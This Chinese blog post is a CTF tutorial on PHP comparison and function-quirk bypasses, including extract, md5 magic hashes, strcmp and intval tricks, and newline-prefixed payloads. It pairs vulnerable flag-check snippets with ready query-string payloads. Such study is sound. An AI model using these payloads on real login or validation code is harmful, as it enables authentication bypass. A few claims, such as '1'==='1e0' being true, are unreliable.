Php基础漏洞–30

0x01 前言

Php是世界上最好的语言
危险函数大概有一下:extract、

0x02 中言

extract

extract(array,extract_rules,prefix)
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

如果extract_rules参数未指明,则默认覆盖已有变量。如果array可以人为操作,那么可以控制所有的变量值。想要使用的话多利用extract_rules参数。

绕过过滤的空白字符

主要是一些小tips

  • ==弱比较,520==’520lcx’同时转化成数字为True,’+191’==’191′
  • 可以引入\f(也就是%0c)在数字前面,因为intval和is_numeric都会忽略这个字符,所以不会影响。
  • is_numeric($_REQUEST[‘number’])为假,这个绕过的方法很多使用%00开头也可以再POST一个number参数把GET中的覆盖掉也可以,这个函数会把’+191′,’191’,尽管有引号,还是认为为数字。

Mysql | SqlServer WITH ROLLUP绕过

WITH ROLLUP与group by一起使用,是对group by的信息的再次统计,而分组的条件会逐步返回NULL,如果已知用户名,可以返回用user列表的最后一个username和为空的pwd进行比较,实现绕过

ereg正则%00截断

ereg为正则匹配函数,当遇到目标字符串中的%00后,则认为字符串匹配结束,所以可以在%00后添加一些可以绕过其他判断条件的字符串。同时在php若比较中。如果两边的字符串为数字形式,则会先转换成数字再比较

<?php
echo ('1'==='1e0'); #1
?>

传入其他东西也会返回null

strcmp比较字符串

strcmp(str1, str2)
    if(str1 < str2) {
        return < 0;
    }

    else if (str1 > str2) {
        return > 0;
    }

    else {
        return 0;
    }

利用strcmp传入的是数组时,会直接返回null,弱比较中null认为是0,则认为传入的两个参数相同。所以记得用强比较(tips:该漏洞适用5.3之前。

sha/md5()函数比较绕过

<?php
 define('FLAG', 'DrunkCTF{you_bypass_md5!}');
 if (($_GET['s1']) != $_GET['s2'] && md5($_GET['s1']) == $_GET['s2']) {
     echo "success, flag is :" . FLAG;
 }
?>

绕过一

用科学计数法绕过

‘0e123456789’ == ‘0e987654321’ == 0

以下值在md5加密后以0E开头:

  • QNKCDZO
  • 240610708
  • s878926199a
  • s155964671a
  • s214587387a
  • s214587387a
  • payload 如下

payload

md5.php?s1=QNKCDZO&s2=240610708

绕过二

通过数组绕过,也叫数组 trick

md5([1,2,3]) == md5([4,5,6]) == NULL

所以我们的 payload:

md5.php?s1[]=1&s2[]=2

探测任意网站密码明文/加密手段办法

SESSION验证绕过

比较session时,可以控制cookie中的东西来控制session获得的值(不知道对不对)

intval函数截断

intval只会提取整数部分,会截断小数点

<?php

if($_GET[id]) {
   mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $id = intval($_GET[id]);
  $query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
  if ($_GET[id]==1024) {
      echo "<p>no! try again</p>";
  }
  else{
    echo($query[content]);
  }
}
?>

绕 preg_match 正则

<?php
include("flag.php");
highlight_file(__FILE__);
 
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}
?>

0 – 9 都被过滤了,所以要用数组来绕过

绕某个具体数字

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

这关的话就是要求变量值不能为4476,但用过intval函数后为4476,这里的话我们首先需要知道intval的第二个参数为0时的意思是什么

根据这张图绕过

num=4476e123
//这里就跟上面那个单引号的1e10情况一样,此时只看字母前面的
num=4476.1
//计算int值时,后面有小数点会直接舍去
num=0x117c
//0x表明是十六进制数,117c是4476的十六进制数
num=010574
//0表明是八进制数,10574是4476的八进制数

终极绕过

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}
?>

这道题的话看着几乎是防死了,多过滤了.,这就意味着小数点绕过行不通,此时我们看到这个i修饰符,想到那个m修饰符,此时就想起来有个换行符%0a,它对实际输出没影响,它还可以绕过上面的那些函数,因此我们这里构造如下语句,就实现了绕过,由于小数点不能用,这里就用八进制

num=%0a010574

strpos数组trick

找特定字符串的第一个位置。
传入的是数组时,会直接返回null,可以在强比较中和FALSE比较。

0比较绕过

PHP中非数字开头字符串和数字0比较==都返回True

implode()

implode(separator,array)

implode() 函数返回一个由数组元素组合成的字符串。

0x03 后言

感谢Drunkbaby师傅的博客支持。

版权声明:本文为iridescense原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://www.cnblogs.com/iridescense/p/16710560.html